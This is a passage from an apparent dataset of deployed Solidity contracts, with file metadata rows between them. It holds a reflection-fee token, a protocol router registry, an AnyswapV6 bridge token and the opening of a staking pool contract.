mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 50 * 10**6 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'BurntPenny';
string private _symbol = 'PENNY';
uint8 private _decimals = 9;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.mul(3).div(100);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
| 252,894 | 11,126 |
621dfedf6c9da10730d0b2ea9daaa18c7ed11ad9aad0fa1883159928e4054834
| 19,546 |
.sol
|
Solidity
| false |
468407125
|
tintinweb/smart-contract-sanctuary-optimism
|
5f86f1320e8b5cdf11039be240475eff1303ed67
|
contracts/mainnet/ae/AEbcB1D4655bDb0D753AAD238beb32000c4B91AC_Router.sol
| 2,740 | 11,267 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.1;
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token,
address from,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token,
address spender,
uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface ITreasury {
function fundOracle(address destination, uint256 amount) external;
function notifyFeeReceived(address currency, uint256 amount) external;
}
interface ITrading {
function distributeFees(address currency) external;
function settleOrder(address user, bytes32 productId, address currency, bool isLong, uint256 price) external;
function liquidatePosition(address user, bytes32 productId, address currency, bool isLong, uint256 price) external;
function getPendingFee(address currency) external view returns(uint256);
}
interface IRouter {
function trading() external view returns (address);
function capPool() external view returns (address);
function oracle() external view returns (address);
function treasury() external view returns (address);
function darkOracle() external view returns (address);
function isSupportedCurrency(address currency) external view returns (bool);
function currencies(uint256 index) external view returns (address);
function currenciesLength() external view returns (uint256);
function getDecimals(address currency) external view returns(uint8);
function getPool(address currency) external view returns (address);
function getPoolShare(address currency) external view returns(uint256);
function getCapShare(address currency) external view returns(uint256);
function getPoolRewards(address currency) external view returns (address);
function getCapRewards(address currency) external view returns (address);
}
contract Router {
using SafeERC20 for IERC20;
// Contract dependencies
address public owner;
address public trading;
address public oracle;
address public capPool;
address public treasury;
address public darkOracle;
address[] public currencies;
mapping(address => uint8) decimals;
mapping(address => address) pools; // currency => contract
mapping(address => uint256) private poolShare; // currency (eth, usdc, etc.) => bps
mapping(address => uint256) private capShare; // currency => bps
mapping(address => address) poolRewards; // currency => contract
mapping(address => address) capRewards; // currency => contract
constructor() {
owner = msg.sender;
}
function isSupportedCurrency(address currency) external view returns(bool) {
return currency != address(0) && pools[currency] != address(0);
}
function currenciesLength() external view returns(uint256) {
return currencies.length;
}
function getPool(address currency) external view returns(address) {
return pools[currency];
}
function getPoolShare(address currency) external view returns(uint256) {
return poolShare[currency];
}
function getCapShare(address currency) external view returns(uint256) {
return capShare[currency];
}
function getPoolRewards(address currency) external view returns(address) {
return poolRewards[currency];
}
function getCapRewards(address currency) external view returns(address) {
return capRewards[currency];
}
function getDecimals(address currency) external view returns(uint8) {
if (currency == address(0)) return 18;
if (decimals[currency] > 0) return decimals[currency];
if (IERC20(currency).decimals() > 0) return IERC20(currency).decimals();
return 18;
}
// Setters
function setCurrencies(address[] calldata _currencies) external onlyOwner {
currencies = _currencies;
}
function setDecimals(address currency, uint8 _decimals) external onlyOwner {
decimals[currency] = _decimals;
}
function setContracts(address _treasury,
address _trading,
address _capPool,
address _oracle,
address _darkOracle) external onlyOwner {
treasury = _treasury;
trading = _trading;
capPool = _capPool;
oracle = _oracle;
darkOracle = _darkOracle;
}
function setPool(address currency, address _contract) external onlyOwner {
pools[currency] = _contract;
}
function setPoolShare(address currency, uint256 share) external onlyOwner {
poolShare[currency] = share;
}
function setCapShare(address currency, uint256 share) external onlyOwner {
capShare[currency] = share;
}
function setPoolRewards(address currency, address _contract) external onlyOwner {
poolRewards[currency] = _contract;
}
function setCapRewards(address currency, address _contract) external onlyOwner {
capRewards[currency] = _contract;
}
function setOwner(address newOwner) external onlyOwner {
owner = newOwner;
}
// Modifiers
modifier onlyOwner() {
require(msg.sender == owner, "!owner");
_;
}
}
| 150,466 | 11,127 |
64c6547931c574c6d342fa8911333b06f061503ccab21b7a804974576c6a93d3
| 14,661 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/ae/aef9e3e050d0ef060cdfd5246209b0b6bb66060f_AnyswapV6ERC20.sol
| 3,294 | 12,942 |
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.2;
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract AnyswapV6ERC20 is IERC20 {
using SafeERC20 for IERC20;
string public name;
string public symbol;
uint8 public immutable override decimals;
address public immutable underlying;
bool public constant underlyingIsMinted = false;
/// @dev Records amount of AnyswapV6ERC20 token owned by account.
mapping (address => uint256) public override balanceOf;
uint256 private _totalSupply;
// init flag for setting immediate vault, needed for CREATE2 support
bool private _init;
// flag to enable/disable swapout vs vault.burn so multiple events are triggered
bool private _vaultOnly;
// delay for timelock functions
uint public constant DELAY = 2 days;
// set of minters, can be this bridge or other bridges
mapping(address => bool) public isMinter;
address[] public minters;
// primary controller of the token contract
address public vault;
address public pendingMinter;
uint public delayMinter;
address public pendingVault;
uint public delayVault;
modifier onlyAuth() {
require(isMinter[msg.sender], "AnyswapV6ERC20: FORBIDDEN");
_;
}
modifier onlyVault() {
require(msg.sender == vault, "AnyswapV6ERC20: FORBIDDEN");
_;
}
function owner() external view returns (address) {
return vault;
}
function mpc() external view returns (address) {
return vault;
}
function setVaultOnly(bool enabled) external onlyVault {
_vaultOnly = enabled;
}
function initVault(address _vault) external onlyVault {
require(_init);
_init = false;
vault = _vault;
isMinter[_vault] = true;
minters.push(_vault);
}
function setVault(address _vault) external onlyVault {
require(_vault != address(0), "AnyswapV6ERC20: address(0)");
pendingVault = _vault;
delayVault = block.timestamp + DELAY;
}
function applyVault() external onlyVault {
require(pendingVault != address(0) && block.timestamp >= delayVault);
vault = pendingVault;
pendingVault = address(0);
delayVault = 0;
}
function setMinter(address _auth) external onlyVault {
require(_auth != address(0), "AnyswapV6ERC20: address(0)");
pendingMinter = _auth;
delayMinter = block.timestamp + DELAY;
}
function applyMinter() external onlyVault {
require(pendingMinter != address(0) && block.timestamp >= delayMinter);
isMinter[pendingMinter] = true;
minters.push(pendingMinter);
pendingMinter = address(0);
delayMinter = 0;
}
// No time delay revoke minter emergency function
function revokeMinter(address _auth) external onlyVault {
isMinter[_auth] = false;
}
function getAllMinters() external view returns (address[] memory) {
return minters;
}
function changeVault(address newVault) external onlyVault returns (bool) {
require(newVault != address(0), "AnyswapV6ERC20: address(0)");
emit LogChangeVault(vault, newVault, block.timestamp);
vault = newVault;
pendingVault = address(0);
delayVault = 0;
return true;
}
function mint(address to, uint256 amount) external onlyAuth returns (bool) {
_mint(to, amount);
return true;
}
function burn(address from, uint256 amount) external onlyAuth returns (bool) {
_burn(from, amount);
return true;
}
function Swapin(bytes32 txhash, address account, uint256 amount) external onlyAuth returns (bool) {
if (underlying != address(0) && IERC20(underlying).balanceOf(address(this)) >= amount) {
IERC20(underlying).safeTransfer(account, amount);
} else {
_mint(account, amount);
}
emit LogSwapin(txhash, account, amount);
return true;
}
function Swapout(uint256 amount, address bindaddr) external returns (bool) {
require(!_vaultOnly, "AnyswapV6ERC20: vaultOnly");
require(bindaddr != address(0), "AnyswapV6ERC20: address(0)");
if (underlying != address(0) && balanceOf[msg.sender] < amount) {
IERC20(underlying).safeTransferFrom(msg.sender, address(this), amount);
} else {
_burn(msg.sender, amount);
}
emit LogSwapout(msg.sender, bindaddr, amount);
return true;
}
mapping (address => mapping (address => uint256)) public override allowance;
event LogChangeVault(address indexed oldVault, address indexed newVault, uint indexed effectiveTime);
event LogSwapin(bytes32 indexed txhash, address indexed account, uint amount);
event LogSwapout(address indexed account, address indexed bindaddr, uint amount);
constructor(string memory _name, string memory _symbol, uint8 _decimals, address _underlying, address _vault) {
name = _name;
symbol = _symbol;
decimals = _decimals;
underlying = _underlying;
if (_underlying != address(0)) {
require(_decimals == IERC20(_underlying).decimals());
}
// Use init to allow for CREATE2 accross all chains
_init = true;
// Disable/Enable swapout for v1 tokens vs mint/burn for v3 tokens
_vaultOnly = false;
vault = _vault;
}
/// @dev Returns the total supply of AnyswapV6ERC20 token as the ETH held in this contract.
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function deposit() external returns (uint) {
uint _amount = IERC20(underlying).balanceOf(msg.sender);
IERC20(underlying).safeTransferFrom(msg.sender, address(this), _amount);
return _deposit(_amount, msg.sender);
}
function deposit(uint amount) external returns (uint) {
IERC20(underlying).safeTransferFrom(msg.sender, address(this), amount);
return _deposit(amount, msg.sender);
}
function deposit(uint amount, address to) external returns (uint) {
IERC20(underlying).safeTransferFrom(msg.sender, address(this), amount);
return _deposit(amount, to);
}
function depositVault(uint amount, address to) external onlyVault returns (uint) {
return _deposit(amount, to);
}
function _deposit(uint amount, address to) internal returns (uint) {
require(!underlyingIsMinted);
require(underlying != address(0) && underlying != address(this));
_mint(to, amount);
return amount;
}
function withdraw() external returns (uint) {
return _withdraw(msg.sender, balanceOf[msg.sender], msg.sender);
}
function withdraw(uint amount) external returns (uint) {
return _withdraw(msg.sender, amount, msg.sender);
}
function withdraw(uint amount, address to) external returns (uint) {
return _withdraw(msg.sender, amount, to);
}
function withdrawVault(address from, uint amount, address to) external onlyVault returns (uint) {
return _withdraw(from, amount, to);
}
function _withdraw(address from, uint amount, address to) internal returns (uint) {
require(!underlyingIsMinted);
require(underlying != address(0) && underlying != address(this));
_burn(from, amount);
IERC20(underlying).safeTransfer(to, amount);
return amount;
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply += amount;
balanceOf[account] += amount;
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
uint256 balance = balanceOf[account];
require(balance >= amount, "ERC20: burn amount exceeds balance");
balanceOf[account] = balance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/// @dev Sets `value` as allowance of `spender` account over caller account's AnyswapV6ERC20 token.
/// Emits {Approval} event.
/// Returns boolean value indicating whether operation succeeded.
function approve(address spender, uint256 value) external override returns (bool) {
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/// @dev Moves `value` AnyswapV6ERC20 token from caller's account to account (`to`).
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - caller account must have at least `value` AnyswapV6ERC20 token.
function transfer(address to, uint256 value) external override returns (bool) {
require(to != address(0) && to != address(this));
uint256 balance = balanceOf[msg.sender];
require(balance >= value, "AnyswapV6ERC20: transfer amount exceeds balance");
balanceOf[msg.sender] = balance - value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return true;
}
/// `value` is then deducted from caller account's allowance, unless set to `type(uint256).max`.
/// unless allowance is set to `type(uint256).max`
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - `from` account must have at least `value` balance of AnyswapV6ERC20 token.
function transferFrom(address from, address to, uint256 value) external override returns (bool) {
require(to != address(0) && to != address(this));
if (from != msg.sender) {
uint256 allowed = allowance[from][msg.sender];
if (allowed != type(uint256).max) {
require(allowed >= value, "AnyswapV6ERC20: request exceeds allowance");
uint256 reduced = allowed - value;
allowance[from][msg.sender] = reduced;
emit Approval(from, msg.sender, reduced);
}
}
uint256 balance = balanceOf[from];
require(balance >= value, "AnyswapV6ERC20: transfer amount exceeds balance");
balanceOf[from] = balance - value;
balanceOf[to] += value;
emit Transfer(from, to, value);
return true;
}
}
| 29,143 | 11,128 |
2f205cd49741df65dd553cc319f0ef235a35a9df60a100fa2ef09a01247e57de
| 25,440 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0xF90c2936F810a2C26e67e5e73aA562DD71B91b69/contract.sol
| 5,395 | 18,912 |
pragma solidity 0.8.2;
// SPDX-License-Identifier: MIT
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
// AddressSet
struct AddressSet {
Set _inner;
}
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
// UintSet
struct UintSet {
Set _inner;
}
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
interface Token {
function transferFrom(address, address, uint256) external returns (bool);
function transfer(address, uint256) external returns (bool);
}
contract USDT_WBNB_Pool is Ownable {
using SafeMath for uint256;
using EnumerableSet for EnumerableSet.AddressSet;
event RewardsTransferred(address holder, uint256 amount);
// TENFI token contract address
address public tokenAddress = 0x081B2aEB9925e1F72e889eac10516C2A48a9F76a;
// LP token contract address
address public LPtokenAddress = 0x20bCC3b8a0091dDac2d0BC30F68E6CBb97de59Cd;
// reward rate 23 % per year
uint256 public rewardRate = 89647;
uint256 public rewardInterval = 365 days;
// unstaking possible after 0 days
uint256 public cliffTime = 0 days;
uint256 public farmEnableat;
uint256 public totalClaimedRewards = 0;
uint256 public totalDevFee = 0;
uint256 private stakingAndDaoTokens = 100000e18;
bool public farmEnabled = false;
EnumerableSet.AddressSet private holders;
mapping (address => uint256) public depositedTokens;
mapping (address => uint256) public stakingTime;
mapping (address => uint256) public lastClaimedTime;
mapping (address => uint256) public totalEarnedTokens;
